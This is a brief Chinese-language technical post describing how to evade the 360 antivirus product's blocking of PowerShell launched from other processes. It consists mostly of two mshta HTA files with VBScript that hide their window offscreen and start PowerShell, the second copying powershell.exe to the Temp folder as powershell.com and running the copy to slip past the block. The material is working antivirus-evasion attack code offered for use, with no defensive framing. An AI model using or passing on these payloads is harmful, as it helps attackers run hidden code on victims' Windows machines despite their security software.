测试发现360 不拦截 PowerShell 本身的执行, 拦截的是其它进程对 powershell.exe 的调用.
以mshta为例
<HTML> <meta http-equiv="Content-Type" content="text/html; charset=utf-8"> <HEAD> <script language="VBScript"> Window.ReSizeTo 0, 0 Window.moveTo -2000,-2000 Set objShell = CreateObject("Wscript.Shell") objShell.Run "powershell.exe" self.close </script> <body> </body> </HEAD> </HTML>
可以系统目录中的 powershell.exe 复制到 Temp 目录下并重命名为 powershell.com后缀, 然后通过 powershell.com 执行命令
<HTML>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8">
<HEAD>
<script language="VBScript">
Window.ReSizeTo 0, 0
Window.moveTo -2000,-2000
Dim fso
Set fso = CreateObject("Scripting.FileSystemObject")
fso.CopyFile "C:/Windows/System32/WindowsPowerShell/v1.0/powershell.exe", "C:/Windows/Temp/powershell.com", True
Set objShell = CreateObject("Wscript.Shell")
objShell.Run "powershell.com"
self.close
</script>
<body>
</body>
</HEAD>
</HTML>